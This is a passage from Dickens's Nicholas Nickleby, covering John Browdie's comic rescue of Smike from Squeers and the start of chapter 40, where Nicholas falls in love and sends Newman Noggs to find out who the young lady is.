pardon, miss?' + +'My pa,' repeated Miss Squeers; 'is he in?' + +'In where, miss?' + +'In here--in the house!' replied Miss Squeers. 'My pa--Mr Wackford +Squeers--he's stopping here. Is he at home?' + +'I didn't know there was any gen'l'man of that name in the house, +miss' replied the waiter. 'There may be, in the coffee-room.' + +MAY BE. Very pretty this, indeed! Here was Miss Squeers, who had +been depending, all the way to London, upon showing her friends how +much at home she would be, and how much respectful notice her name +and connections would excite, told that her father MIGHT be there! +'As if he was a feller!' observed Miss Squeers, with emphatic +indignation. + +'Ye'd betther inquire, mun,' said John Browdie. 'An' hond up +another pigeon-pie, will 'ee? Dang the chap,' muttered John, +looking into the empty dish as the waiter retired; 'does he ca' this +a pie--three yoong pigeons and a troifling matther o' steak, and a +crust so loight that you doant know when it's in your mooth and when +it's gane? I wonder hoo many pies goes to a breakfast!' + +After a short interval, which John Browdie employed upon the ham and +a cold round of beef, the waiter returned with another pie, and the +information that Mr Squeers was not stopping in the house, but that +he came there every day and that directly he arrived, he should be +shown upstairs. With this, he retired; and he had not retired two +minutes, when he returned with Mr Squeers and his hopeful son. + +'Why, who'd have thought of this?' said Mr Squeers, when he had +saluted the party and received some private family intelligence from +his daughter. + +'Who, indeed, pa!' replied that young lady, spitefully. 'But you +see 'Tilda IS married at last.' + +'And I stond threat for a soight o' Lunnun, schoolmeasther,' said +John, vigorously attacking the pie. + +'One of them things that young men do when they get married,' +returned Squeers; 'and as runs through with their money like nothing +at all! How much better wouldn't it be now, to save it up for the +eddication of any little boys, for instance! They come on you,' +said Mr Squeers in a moralising way, 'before you're aware of it; +mine did upon me.' + +'Will 'ee pick a bit?' said John. + +'I won't myself,' returned Squeers; 'but if you'll just let little +Wackford tuck into something fat, I'll be obliged to you. Give it +him in his fingers, else the waiter charges it on, and there's lot +of profit on this sort of vittles without that. If you hear the +waiter coming, sir, shove it in your pocket and look out of the +window, d'ye hear?' + +'I'm awake, father,' replied the dutiful Wackford. + +'Well,' said Squeers, turning to his daughter, 'it's your turn to be +married next. You must make haste.' + +'Oh, I'm in no hurry,' said Miss Squeers, very sharply. + +'No, Fanny?' cried her old friend with some archness. + +'No, 'Tilda,' replied Miss Squeers, shaking her head vehemently. 'I +can wait.' + +'So can the young men, it seems, Fanny,' observed Mrs Browdie. + +'They an't draw'd into it by ME, 'Tilda,' retorted Miss Squeers. + +'No,' returned her friend; 'that's exceedingly true.' + +The sarcastic tone of this reply might have provoked a rather +acrimonious retort from Miss Squeers, who, besides being of a +constitutionally vicious temper--aggravated, just now, by travel and +recent jolting--was somewhat irritated by old recollections and the +failure of her own designs upon Mr Browdie; and the acrimonious +retort might have led to a great many other retorts, which might +have led to Heaven knows what, if the subject of conversation had +not been, at that precise moment, accidentally changed by Mr Squeers +himself + +'What do you think?' said that gentleman; 'who do you suppose we +have laid hands on, Wackford and me?' + +'Pa! not Mr--?' Miss Squeers was unable to finish the sentence, but +Mrs Browdie did it for her, and added, 'Nickleby?' + +'No,' said Squeers. 'But next door to him though.' + +'You can't mean Smike?' cried Miss Squeers, clapping her hands. + +'Yes, I can though,' rejoined her father. 'I've got him, hard and +fast.' + +'Wa'at!' exclaimed John Browdie, pushing away his plate. 'Got that +poor--dom'd scoondrel? Where?' + +'Why, in the top back room, at my lodging,' replied Squeers, 'with +him on one side, and the key on the other.' + +'At thy loodgin'! Thee'st gotten him at thy loodgin'? Ho! ho! The +schoolmeasther agin all England. Give us thee hond, mun; I'm +darned but I must shak thee by the hond for thot.--Gotten him at thy +loodgin'?' + +'Yes,' replied Squeers, staggering in his chair under the +congratulatory blow on the chest which the stout Yorkshireman dealt +him; 'thankee. Don't do it again. You mean it kindly, I know, +but it hurts rather. Yes, there he is. That's not so bad, is it?' + +'Ba'ad!' repeated John Browdie. 'It's eneaf to scare a mun to hear +tell on.' + +'I thought it would surprise you a bit,' said Squeers, rubbing his +hands. 'It was pretty neatly done, and pretty quick too.' + +'Hoo wor it?' inquired John, sitting down close to him. 'Tell us +all aboot it, mun; coom, quick!' + +Although he could not keep pace with John Browdie's impatience, Mr +Squeers related the lucky chance by which Smike had fallen into his +hands, as quickly as he could, and, except when he was interrupted +by the admiring remarks of his auditors, paused not in the recital +until he had brought it to an end. + +'For fear he should give me the slip, by any chance,' observed +Squeers, when he had finished, looking very cunning, 'I've taken +three outsides for tomorrow morning--for Wackford and him and me-- +and have arranged to leave the accounts and the new boys to the +agent, don't you see? So it's very lucky you come today, or you'd +have missed us; and as it is, unless you could come and tea with me +tonight, we shan't see anything more of you before we go away.' + +'Dean't say anoother wurd,' returned the Yorkshireman, shaking him +by the hand. 'We'd coom, if it was twonty mile.' + +'No, would you though?' returned Mr Squeers, who had not expected +quite such a ready acceptance of his invitation, or he would have +considered twice before he gave it. + +John Browdie's only reply was another squeeze of the hand, and an +assurance that they would not begin to see London till tomorrow, so +that they might be at Mr Snawley's at six o'clock without fail; and +after some further conversation, Mr Squeers and his son departed. + +During the remainder of the day, Mr Browdie was in a very odd and +excitable state; bursting occasionally into an explosion of +laughter, and then taking up his hat and running into the coach-yard +to have it out by himself. He was very restless too, constantly +walking in and out, and snapping his fingers, and dancing scraps of +uncouth country dances, and, in short, conducting himself in such a +very extraordinary manner, that Miss Squeers opined he was going +mad, and, begging her dear 'Tilda not to distress herself, +communicated her suspicions in so many words. Mrs Browdie, however, +without discovering any great alarm, observed that she had seen him +so once before, and that although he was almost sure to be ill after +it, it would not be anything very serious, and therefore he was +better left alone. + +The result proved her to be perfectly correct for, while they were +all sitting in Mr Snawley's parlour that night, and just as it was +beginning to get dusk, John Browdie was taken so ill, and seized +with such an alarming dizziness in the head, that the whole company +were thrown into the utmost consternation. His good lady, indeed, +was the only person present, who retained presence of mind enough to +observe that if he were allowed to lie down on Mr Squeers's bed for +an hour or so, and left entirely to himself, he would be sure to +recover again almost as quickly as he had been taken ill. Nobody +could refuse to try the effect of so reasonable a proposal, before +sending for a surgeon. Accordingly, John was supported upstairs, +with great difficulty; being a monstrous weight, and regularly +tumbling down two steps every time they hoisted him up three; and, +being laid on the bed, was left in charge of his wife, who, after a +short interval, reappeared in the parlour, with the gratifying +intelligence that he had fallen fast asleep. + +Now, the fact was, that at that particular moment, John Browdie was +sitting on the bed with the reddest face ever seen, cramming the +corner of the pillow into his mouth, to prevent his roaring out loud +with laughter. He had no sooner succeeded in suppressing this +emotion, than he slipped off his shoes, and creeping to the +adjoining room where the prisoner was confined, turned the key, +which was on the outside, and darting in, covered Smike's mouth with +his huge hand before he could utter a sound. + +'Ods-bobs, dost thee not know me, mun?' whispered the Yorkshireman +to the bewildered lad. 'Browdie. Chap as met thee efther +schoolmeasther was banged?' + +'Yes, yes,' cried Smike. 'Oh! help me.' + +'Help thee!' replied John, stopping his mouth again, the instant he +had said this much. 'Thee didn't need help, if thee warn't as silly +yoongster as ever draw'd breath. Wa'at did 'ee come here for, +then?' + +'He brought me; oh! he brought me,' cried Smike. + +'Brout thee!' replied John. 'Why didn't 'ee punch his head, or lay +theeself doon and kick, and squeal out for the pollis? I'd ha' +licked a doozen such as him when I was yoong as thee. But thee +be'est a poor broken-doon chap,' said John, sadly, 'and God forgi' +me for bragging ower yan o' his weakest creeturs!' + +Smike opened his mouth to speak, but John Browdie stopped him. + +'Stan' still,' said the Yorkshireman, 'and doant'ee speak a morsel +o' talk till I tell'ee.' + +With this caution, John Browdie shook his head significantly, and +drawing a screwdriver from his pocket, took off the box of the lock +in a very deliberate and workmanlike manner, and laid it, together +with the implement, on the floor. + +'See thot?' said John 'Thot be thy doin'. Noo, coot awa'!' + +Smike looked vacantly at him, as if unable to comprehend his +meaning. + +'I say, coot awa',' repeated John, hastily. 'Dost thee know where +thee livest? Thee dost? Weel. Are yon thy clothes, or +schoolmeasther's?' + +'Mine,' replied Smike, as the Yorkshireman hurried him to the +adjoining room, and pointed out a pair of shoes and a coat which +were lying on a chair. + +'On wi' 'em,' said John, forcing the wrong arm into the wrong +sleeve, and winding the tails of the coat round the fugitive's neck. +'Noo, foller me, and when thee get'st ootside door, turn to the +right, and they wean't see thee pass.' + +'But--but--he'll hear me shut the door,' replied Smike, trembling +from head to foot. + +'Then dean't shut it at all,' retorted John Browdie. 'Dang it, thee +bean't afeard o' schoolmeasther's takkin cold, I hope?' + +'N-no,' said Smike, his teeth chattering in his head. 'But he +brought me back before, and will again. He will, he will indeed.' + +'He wull, he wull!' replied John impatiently. 'He wean't, he +wean't. Look'ee! I wont to do this neighbourly loike, and let them +think thee's gotten awa' o' theeself, but if he cooms oot o' thot +parlour awhiles theer't clearing off, he mun' have mercy on his oun +boans, for I wean't. If he foinds it oot, soon efther, I'll put 'un +on a wrong scent, I warrant 'ee. But if thee keep'st a good hart, +thee'lt be at whoam afore they know thee'st gotten off. Coom!' + +Smike, who comprehended just enough of this to know it was intended +as encouragement, prepared to follow with tottering steps, when John +whispered in his ear. + +'Thee'lt just tell yoong Measther that I'm sploiced to 'Tilly Price, +and to be heerd on at the Saracen by latther, and that I bean't +jealous of 'un--dang it, I'm loike to boost when I think o' that +neight! 'Cod, I think I see 'un now, a powderin' awa' at the thin +bread an' butther!' + +It was rather a ticklish recollection for John just then, for he was +within an ace of breaking out into a loud guffaw. Restraining +himself, however, just in time, by a great effort, he glided +downstairs, hauling Smike behind him; and placing himself close to +the parlour door, to confront the first person that might come out, +signed to him to make off. + +Having got so far, Smike needed no second bidding. Opening the +house-door gently, and casting a look of mingled gratitude and +terror at his deliverer, he took the direction which had been +indicated to him, and sped away like the wind. + +The Yorkshireman remained on his post for a few minutes, but, +finding that there was no pause in the conversation inside, crept +back again unheard, and stood, listening over the stair-rail, for a +full hour. Everything remaining perfectly quiet, he got into Mr +Squeers's bed, once more, and drawing the clothes over his head, +laughed till he was nearly smothered. + +If there could only have been somebody by, to see how the bedclothes +shook, and to see the Yorkshireman's great red face and round head +appear above the sheets, every now and then, like some jovial +monster coming to the surface to breathe, and once more dive down +convulsed with the laughter which came bursting forth afresh--that +somebody would have been scarcely less amused than John Browdie +himself. + + + +CHAPTER 40 + +In which Nicholas falls in Love. He employs a Mediator, whose +Proceedings are crowned with unexpected Success, excepting in one +solitary Particular + + +Once more out of the clutches of his old persecutor, it needed no +fresh stimulation to call forth the utmost energy and exertion that +Smike was capable of summoning to his aid. Without pausing for a +moment to reflect upon the course he was taking, or the probability +of its leading him homewards or the reverse, he fled away with +surprising swiftness and constancy of purpose, borne upon such wings +as only Fear can wear, and impelled by imaginary shouts in the well +remembered voice of Squeers, who, with a host of pursuers, seemed to +the poor fellow's disordered senses to press hard upon his track; +now left at a greater distance in the rear, and now gaining faster +and faster upon him, as the alternations of hope and terror agitated +him by turns. Long after he had become assured that these sounds +were but the creation of his excited brain, he still held on, at a +pace which even weakness and exhaustion could scarcely retard. It +was not until the darkness and quiet of a country road, recalled him +to a sense of external objects, and the starry sky, above, warned +him of the rapid flight of time, that, covered with dust and panting +for breath, he stopped to listen and look about him. + +All was still and silent. A glare of light in the distance, casting +a warm glow upon the sky, marked where the huge city lay. Solitary +fields, divided by hedges and ditches, through many of which he had +crashed and scrambled in his flight, skirted the road, both by the +way he had come and upon the opposite side. It was late now. They +could scarcely trace him by such paths as he had taken, and if he +could hope to regain his own dwelling, it must surely be at such a +time as that, and under cover of the darkness. This, by degrees, +became pretty plain, even to the mind of Smike. He had, at first, +entertained some vague and childish idea of travelling into the +country for ten or a dozen miles, and then returning homewards by a +wide circuit, which should keep him clear of London--so great was +his apprehension of traversing the streets alone, lest he should +again encounter his dreaded enemy--but, yielding to the conviction +which these thoughts inspired, he turned back, and taking the open +road, though not without many fears and misgivings, made for London +again, with scarcely less speed of foot than that with which he had +left the temporary abode of Mr Squeers. + +By the time he re-entered it, at the western extremity, the greater +part of the shops were closed. Of the throngs of people who had +been tempted abroad after the heat of the day, but few remained in +the streets, and they were lounging home. But of these he asked his +way from time to time, and by dint of repeated inquiries, he at +length reached the dwelling of Newman Noggs. + +All that evening, Newman had been hunting and searching in byways +and corners for the very person who now knocked at his door, while +Nicholas had been pursuing the same inquiry in other directions. He +was sitting, with a melancholy air, at his poor supper, when Smike's +timorous and uncertain knock reached his ears. Alive to every +sound, in his anxious and expectant state, Newman hurried +downstairs, and, uttering a cry of joyful surprise, dragged the +welcome visitor into the passage and up the stairs, and said not a +word until he had him safe in his own garret and the door was shut +behind them, when he mixed a great mug-full of gin-and-water, and +holding it to Smike's mouth, as one might hold a bowl of medicine to +the lips of a refractory child, commanded him to drain it to the +last drop. + +Newman looked uncommonly blank when he found that Smike did little +more than put his lips to the precious mixture; he was in the act of +raising the mug to his own mouth with a deep sigh of compassion for +his poor friend's weakness, when Smike, beginning to relate the +adventures which had befallen him, arrested him half-way, and he +stood listening, with the mug in his hand. + +It was odd enough to see the change that came over Newman as Smike +proceeded. At first he stood, rubbing his lips with the back of his +hand, as a preparatory ceremony towards composing himself for a +draught; then, at the mention of Squeers, he took the mug under his +arm, and opening his eyes very wide, looked on, in the utmost +astonishment. When Smike came to the assault upon himself in the +hackney coach, he hastily deposited the mug upon the table, and +limped up and down the room in a state of the greatest excitement, +stopping himself with a jerk, every now and then, as if to listen +more attentively. When John Browdie came to be spoken of, he +dropped, by slow and gradual degrees, into a chair, and rubbing, his +hands upon his knees--quicker and quicker as the story reached its +climax--burst, at last, into a laugh composed of one loud sonorous +'Ha! ha!' having given vent to which, his countenance immediately +fell again as he inquired, with the utmost anxiety, whether it was +probable that John Browdie and Squeers had come to blows. + +'No! I think not,' replied Smike. 'I don't think he could have +missed me till I had got quite away.' + +Newman scratched his head with a shout of great disappointment, and +once more lifting up the mug, applied himself to the contents; +smiling meanwhile, over the rim, with a grim and ghastly smile at +Smike. + +'You shall stay here,' said Newman; 'you're tired--fagged. I'll +tell them you're come back. They have been half mad about you. Mr +Nicholas--' + +'God bless him!' cried Smike. + +'Amen!' returned Newman. 'He hasn't had a minute's rest or peace; +no more has the old lady, nor Miss Nickleby.' + +'No, no. Has SHE thought about me?' said Smike. 'Has she though? +oh, has she, has she? Don't tell me so if she has not.' + +'She has,' cried Newman. 'She is as noble-hearted as she is +beautiful.' + +'Yes, yes!' cried Smike. 'Well said!' + +'So mild and gentle,' said Newman. + +'Yes, yes!' cried Smike, with increasing eagerness. + +'And yet with such a true and gallant spirit,' pursued Newman. + +He was going on, in his enthusiasm, when, chancing to look at his +companion, he saw that he had covered his face with his hands, and +that tears were stealing out between his fingers. + +A moment before, the boy's eyes were sparkling with unwonted fire, +and every feature had been lighted up with an excitement which made +him appear, for the moment, quite a different being. + +'Well, well,' muttered Newman, as if he were a little puzzled. 'It +has touched ME, more than once, to think such a nature should have +been exposed to such trials; this poor fellow--yes, yes,--he feels +that too--it softens him--makes him think of his former misery. +Hah! That's it? Yes, that's--hum!' + +It was by no means clear, from the tone of these broken reflections, +that Newman Noggs considered them as explaining, at all +satisfactorily, the emotion which had suggested them. He sat, in a +musing attitude, for some time, regarding Smike occasionally with an +anxious and doubtful glance, which sufficiently showed that he was +not very remotely connected with his thoughts. + +At length he repeated his proposition that Smike should remain where +he was for that night, and that he (Noggs) should straightway repair +to the cottage to relieve the suspense of the family. But, as Smike +would not hear of this--pleading his anxiety to see his friends +again--they eventually sallied forth together; and the night being, +by this time, far advanced, and Smike being, besides, so footsore +that he could hardly crawl along, it was within an hour of sunrise +when they reached their destination. + +At the first sound of their voices outside the house, Nicholas, who +had passed a sleepless night, devising schemes for the recovery of +his lost charge, started from his bed, and joyfully admitted them. +There was so much noisy conversation, and congratulation, and +indignation, that the remainder of the family were soon awakened, +and Smike received a warm and cordial welcome, not only from Kate, +but from Mrs Nickleby also, who assured him of her future favour and +regard, and was so obliging as to relate, for his entertainment and +that of the assembled circle, a most remarkable account extracted +from some work the name of which she had never known, of a +miraculous escape from some prison, but what one she couldn't +remember, effected by an officer whose name she had forgotten, +confined for some crime which she didn't clearly recollect. + +At first Nicholas was disposed to give his uncle credit for some +portion of this bold attempt (which had so nearly proved successful) +to carry off Smike; but on more mature consideration, he was +inclined to think that the full merit of it rested with Mr Squeers. +Determined to ascertain, if he could, through John Browdie, how the +case really stood, he betook himself to his daily occupation: +meditating, as he went, on a great variety of schemes for the +punishment of the Yorkshire schoolmaster, all of which had their +foundation in the strictest principles of retributive justice, and +had but the one drawback of being wholly impracticable. + +'A fine morning, Mr Linkinwater!' said Nicholas, entering the +office. + +'Ah!' replied Tim, 'talk of the country, indeed! What do you think +of this, now, for a day--a London day--eh?' + +'It's a little clearer out of town,' said Nicholas. + +'Clearer!' echoed Tim Linkinwater. 'You should see it from my +bedroom window.' + +'You should see it from MINE,' replied Nicholas, with a smile. + +'Pooh! pooh!' said Tim Linkinwater, 'don't tell me. Country!' (Bow +was quite a rustic place to Tim.) 'Nonsense! What can you get in +the country but new-laid eggs and flowers? I can buy new-laid eggs +in Leadenhall Market, any morning before breakfast; and as to +flowers, it's worth a run upstairs to smell my mignonette, or to see +the double wallflower in the back-attic window, at No. 6, in the +court.' + +'There is a double wallflower at No. 6, in the court, is there?' +said Nicholas. + +'Yes, is there!' replied Tim, 'and planted in a cracked jug, without +a spout. There were hyacinths there, this last spring, blossoming, +in--but you'll laugh at that, of course.' + +'At what?' + +'At their blossoming in old blacking-bottles,' said Tim. + +'Not I, indeed,' returned Nicholas. + +Tim looked wistfully at him, for a moment, as if he were encouraged +by the tone of this reply to be more communicative on the subject; +and sticking behind his ear, a pen that he had been making, and +shutting up his knife with a smart click, said, + +'They belong to a sickly bedridden hump-backed boy, and seem to be +the only pleasure, Mr Nickleby, of his sad existence. How many +years is it,' said Tim, pondering, 'since I first noticed him, quite +a little child, dragging himself about on a pair of tiny crutches? +Well! Well! Not many; but though they would appear nothing, if I +thought of other things, they seem a long, long time, when I think +of him. It is a sad thing,' said Tim, breaking off, 'to see a +little deformed child sitting apart from other children, who are +active and merry, watching the games he is denied the power to share +in. He made my heart ache very often.' + +'It is a good heart,' said Nicholas, 'that disentangles itself from +the close avocations of every day, to heed such things. You were +saying--' + +'That the flowers belonged to this poor boy,' said Tim; 'that's all. +When it is fine weather, and he can crawl out of bed, he draws a +chair close to the window, and sits there, looking at them and +arranging them, all day long. He used to nod, at first, and then we +came to speak. Formerly, when I called to him of a morning, and +asked him how he was, he would smile, and say, "Better!" but now he +shakes his head, and only bends more closely over his old plants. +It must be dull to watch the dark housetops and the flying clouds, +for so many months; but he is very patient.' + +'Is there nobody in the house to cheer or help him?' asked Nicholas. + +'His father lives there, I believe,' replied Tim, 'and other people +too; but no one seems to care much for the poor sickly cripple. I +have asked him, very often, if I can do nothing for him; his answer +is always the same. "Nothing." His voice is growing weak of late, +but I can SEE that he makes the old reply. He can't leave his bed +now, so they have moved it close beside the window, and there he +lies, all day: now looking at the sky, and now at his flowers, which +he still makes shift to trim and water, with his own thin hands. At +night, when he sees my candle, he draws back his curtain, and leaves +it so, till I am in bed. It seems such company to him to know that +I am there, that I often sit at my window for an hour or more, that +he may see I am still awake; and sometimes I get up in the night to +look at the dull melancholy light in his little room, and wonder +whether he is awake or sleeping. + +'The night will not be long coming,' said Tim, 'when he will sleep, +and never wake again on earth. We have never so much as shaken +hands in all our lives; and yet I shall miss him like an old friend. +Are there any country flowers that could interest me like these, do +you think? Or do you suppose that the withering of a hundred kinds +of the choicest flowers that blow, called by the hardest Latin names +that were ever invented, would give me one fraction of the pain that +I shall feel when these old jugs and bottles are swept away as +lumber? Country!' cried Tim, with a contemptuous emphasis; 'don't +you know that I couldn't have such a court under my bedroom window, +anywhere, but in London?' + +With which inquiry, Tim turned his back, and pretending to be +absorbed in his accounts, took an opportunity of hastily wiping his +eyes when he supposed Nicholas was looking another way. + +Whether it was that Tim's accounts were more than usually intricate +that morning, or whether it was that his habitual serenity had been +a little disturbed by these recollections, it so happened that when +Nicholas returned from executing some commission, and inquired +whether Mr Charles Cheeryble was alone in his room, Tim promptly, +and without the smallest hesitation, replied in the affirmative, +although somebody had passed into the room not ten minutes before, +and Tim took especial and particular pride in preventing any +intrusion on either of the brothers when they were engaged with any +visitor whatever. + +'I'll take this letter to him at once,' said Nicholas, 'if that's +the case.' And with that, he walked to the room and knocked at the +door. + +No answer. + +Another knock, and still no answer. + +'He can't be here,' thought Nicholas. 'I'll lay it on his table.' + +So, Nicholas opened the door and walked in; and very quickly he +turned to walk out again, when he saw, to his great astonishment and +discomfiture, a young lady upon her knees at Mr Cheeryble's feet, +and Mr Cheeryble beseeching her to rise, and entreating a third +person, who had the appearance of the young lady's female +attendant, to add her persuasions to his to induce her to do so. + +Nicholas stammered out an awkward apology, and was precipitately +retiring, when the young lady, turning her head a little, presented +to his view the features of the lovely girl whom he had seen at the +register-office on his first visit long before. Glancing from her +to the attendant, he recognised the same clumsy servant who had +accompanied her then; and between his admiration of the young lady's +beauty, and the confusion and surprise of this unexpected +recognition, he stood stock-still, in such a bewildered state of +surprise and embarrassment that, for the moment, he was quite bereft +of the power either to speak or move. + +'My dear ma'am--my dear young lady,' cried brother Charles in +violent agitation, 'pray don't--not another word, I beseech and +entreat you! I implore you--I beg of you--to rise. We--we--are not +alone.' + +As he spoke, he raised the young lady, who staggered to a chair and +swooned away. + +'She has fainted, sir,' said Nicholas, darting eagerly forward. + +'Poor dear, poor dear!' cried brother Charles 'Where is my brother +Ned? Ned, my dear brother, come here pray.' + +'Brother Charles, my dear fellow,' replied his brother, hurrying +into the room, 'what is the--ah! what--' + +'Hush! hush!--not a word for your life, brother Ned,' returned the +other. 'Ring for the housekeeper, my dear brother--call Tim +Linkinwater! Here, Tim Linkinwater, sir--Mr Nickleby, my dear sir, +leave the room, I beg and beseech of you.' + +'I think she is better now,' said Nicholas, who had been watching +the patient so eagerly, that he had not heard the request. + +'Poor bird!' cried brother Charles, gently taking her hand in his, +and laying her head upon his arm. 'Brother Ned, my dear fellow, you +will be surprised, I know, to witness this, in business hours; but--' +here he was again reminded of the presence of Nicholas, and +shaking him by the hand, earnestly requested him to leave the room, +and to send Tim Linkinwater without an instant's delay. + +Nicholas immediately withdrew and, on his way to the counting-house, +met both the old housekeeper and Tim Linkinwater, jostling each +other in the passage, and hurrying to the scene of action with +extraordinary speed. Without waiting to hear his message, Tim +Linkinwater darted into the room, and presently afterwards Nicholas +heard the door shut and locked on the inside. + +He had abundance of time to ruminate on this discovery, for Tim +Linkinwater was absent during the greater part of an hour, during +the whole of which time Nicholas thought of nothing but the young +lady, and her exceeding beauty, and what could possibly have brought +her there, and why they made such a mystery of it. The more he +thought of all this, the more it perplexed him, and the more anxious +he became to know who and what she was. 'I should have known her +among ten thousand,' thought Nicholas. And with that he walked up +and down the room, and recalling her face and figure (of which he +had a peculiarly vivid remembrance), discarded all other subjects of +reflection and dwelt upon that alone. + +At length Tim Linkinwater came back--provokingly cool, and with +papers in his hand, and a pen in his mouth, as if nothing had +happened. + +'Is she quite recovered?' said Nicholas, impetuously. + +'Who?' returned Tim Linkinwater. + +'Who!' repeated Nicholas. 'The young lady.' + +'What do you make, Mr Nickleby,' said Tim, taking his pen out of his +mouth, 'what do you make of four hundred and twenty-seven times +three thousand two hundred and thirty-eight?' + +'Nay,' returned Nicholas, 'what do you make of my question first? I +asked you--' + +'About the young lady,' said Tim Linkinwater, putting on his +spectacles. 'To be sure. Yes. Oh! she's very well.' + +'Very well, is she?' returned Nicholas. + +'Very well,' replied Mr Linkinwater, gravely. + +'Will she be able to go home today?' asked Nicholas. + +'She's gone,' said Tim. + +'Gone!' + +'Yes.' + +'I hope she has not far to go?' said Nicholas, looking earnestly at +the other. + +'Ay,' replied the immovable Tim, 'I hope she hasn't.' + +Nicholas hazarded one or two further remarks, but it was evident +that Tim Linkinwater had his own reasons for evading the subject, +and that he was determined to afford no further information +respecting the fair unknown, who had awakened so much curiosity in +the breast of his young friend. Nothing daunted by this repulse, +Nicholas returned to the charge next day, emboldened by the +circumstance of Mr Linkinwater being in a very talkative and +communicative mood; but, directly he resumed the theme, Tim relapsed +into a state of most provoking taciturnity, and from answering in +monosyllables, came to returning no answers at all, save such as +were to be inferred from several grave nods and shrugs, which only +served to whet that appetite for intelligence in Nicholas, which had +already attained a most unreasonable height. + +Foiled in these attempts, he was fain to content himself with +watching for the young lady's next visit, but here again he was +disappointed. Day after day passed, and she did not return. He +looked eagerly at the superscription of all the notes and letters, +but there was not one among them which he could fancy to be in her +handwriting. On two or three occasions he was employed on business +which took him to a distance, and had formerly been transacted by +Tim Linkinwater. Nicholas could not help suspecting that, for some +reason or other, he was sent out of the way on purpose, and that the +young lady was there in his absence. Nothing transpired, however, +to confirm this suspicion, and Tim could not be entrapped into any +confession or admission tending to support it in the smallest +degree. + +Mystery and disappointment are not absolutely indispensable to the +growth of love, but they are, very often, its powerful auxiliaries. +'Out of sight, out of mind,' is well enough as a proverb applicable +to cases of friendship, though absence is not always necessary to +hollowness of heart, even between friends, and truth and honesty, +like precious stones, are perhaps most easily imitated at a +distance, when the counterfeits often pass for real. Love, however, +is very materially assisted by a warm and active imagination: which +has a long memory, and will thrive, for a considerable time, on very +slight and sparing food. Thus it is, that it often attains its most +luxuriant growth in separation and under circumstances of the utmost +difficulty; and thus it was, that Nicholas, thinking of nothing but +the unknown young lady, from day to day and from hour to hour, +began, at last, to think that he was very desperately in love with +her, and that never was such an ill-used and persecuted lover as he. + +Still, though he loved and languished after the most orthodox +models, and was only deterred from making a confidante of Kate by +the slight considerations of having never, in all his life, spoken +to the object of his passion, and having never set eyes upon her, +except on two occasions, on both of which she had come and gone like +a flash of lightning--or, as Nicholas himself said, in the numerous +conversations he held with himself, like a vision of youth and +beauty much too bright to last--his ardour and devotion remained +without its reward. The young lady appeared no more; so there was a +great deal of love wasted (enough indeed to have set up half-a-dozen +young gentlemen, as times go, with the utmost decency), and nobody +was a bit the wiser for it; not even Nicholas himself, who, on the +contrary, became more dull, sentimental, and lackadaisical, every +day. + +While matters were in this state, the failure of a correspondent of +the brothers Cheeryble, in Germany, imposed upon Tim Linkinwater and +Nicholas the necessity of going through some very long and +complicated accounts, extending over a considerable space of time. +To get through them with the greater dispatch, Tim Linkinwater +proposed that they should remain at the counting-house, for a week +or so, until ten o'clock at night; to this, as nothing damped the +zeal of Nicholas in the service of his kind patrons--not even +romance, which has seldom business habits--he cheerfully assented. +On the very first night of these later hours, at nine exactly, there +came: not the young lady herself, but her servant, who, being +closeted with brother Charles for some time, went away, and returned +next night at the same hour, and on the next, and on the next again. + +These repeated visits inflamed the curiosity of Nicholas to the very +highest pitch. Tantalised and excited, beyond all bearing, and +unable to fathom the mystery without neglecting his duty, he +confided the whole secret to Newman Noggs, imploring him to be on +the watch next night; to follow the girl home; to set on foot such +inquiries relative to the name, condition, and history of her +mistress, as he could, without exciting suspicion; and to report the +result to him with the least possible delay. + +Beyond all measure proud of this commission, Newman Noggs took up +his post, in the square, on the following evening, a full hour +before the needful time, and planting himself behind the pump and +pulling his hat over his eyes, began his watch with an elaborate +appearance of mystery, admirably calculated to excite the suspicion +of all beholders. Indeed, divers servant girls who came to draw +water, and sundry little boys who stopped to drink at the ladle, +were almost scared out of their senses, by the apparition of Newman +Noggs looking stealthily round the pump, with nothing of him visible +but his face, and that wearing the expression of a meditative Ogre. + +Punctual to her time, the messenger came again, and, after an +interview of rather longer duration than usual, departed. Newman +had made two appointments with Nicholas: one for the next evening, +conditional on his success: and one the next night following, which +was to be kept under all circumstances. The first night he was not +at the place of meeting (a certain tavern about half-way between the +city and Golden Square), but on the second night he was there before +Nicholas, and received him with open arms. + +'It's all right,' whispered Newman. 'Sit down. Sit down, there's a +dear young man, and let me tell you all about it.' + +Nicholas needed no second invitation, and eagerly inquired what was +the news. + +'There's a great deal of news,' said Newman, in a flutter of +exultation. 'It's all right. Don't be anxious. I don't know where +to begin. Never mind that. Keep up your spirits. It's all right.' + +'Well?' said Nicholas eagerly. 'Yes?' + +'Yes,' replied Newman. 'That's it.' + +'What's it?' said Nicholas. 'The name--the name, my dear fellow!' + +'The name's Bobster,' replied Newman. + +'Bobster!' repeated Nicholas, indignantly. + +'That's the name,' said Newman. 'I remember it by lobster.' + +'Bobster!' repeated Nicholas, more emphatically than before. 'That +must be the servant's name.' + +'No, it an't,' said Newman, shaking his head with great positiveness. +'Miss Cecilia Bobster.' + +'Cecilia, eh?' returned Nicholas, muttering the two names together +over and over again in every variety of tone, to try the effect. +'Well, Cecilia is a pretty name.' + +'Very. And a pretty creature too,' said Newman. + +'Who?' said Nicholas. + +'Miss Bobster.' + +'Why, where have you seen her?' demanded Nicholas. + +'Never mind, my dear boy,' retorted Noggs, clapping him on the +shoulder. 'I HAVE seen her. You shall see her. I've managed it +all.' + +'My dear Newman,' cried Nicholas, grasping his hand, 'are you +serious?' + +'I am,' replied Newman. 'I mean it all. Every word. You shall see +her tomorrow night. She consents to hear you speak for yourself. I +persuaded her. She is all affability, goodness, sweetness, and +beauty.' + +'I know she is; I know she must be, Newman!' said Nicholas, wringing +his hand. + +'You are right,' returned Newman. + +'Where does she live?' cried Nicholas. 'What have you learnt of her +history? Has she a father--mother--any brothers--sisters? What did +she say? How came you to see her? Was she not very much surprised? +Did you say how passionately I have longed to speak to her? Did you +tell her where I had seen her? Did you tell her how, and when, and +where, and how long, and how often, I have thought of that sweet +face which came upon me in my bitterest distress like a glimpse of +some better world--did you, Newman--did you?' + +Poor Noggs literally gasped for breath as this flood of questions +rushed upon him, and moved spasmodically in his chair at every fresh +inquiry, staring at Nicholas meanwhile with a most ludicrous +expression of perplexity. + +'No,' said Newman, 'I didn't tell her that.' + +'Didn't tell her which?' asked Nicholas. + +'About the glimpse of the better world,' said Newman. 'I didn't +tell her who you were, either, or where you'd seen her. I said you +loved her to distraction.' + +'That's true, Newman,' replied Nicholas, with his characteristic +vehemence. 'Heaven knows I do!' + +'I said too, that you had admired her for a long time in secret,' +said 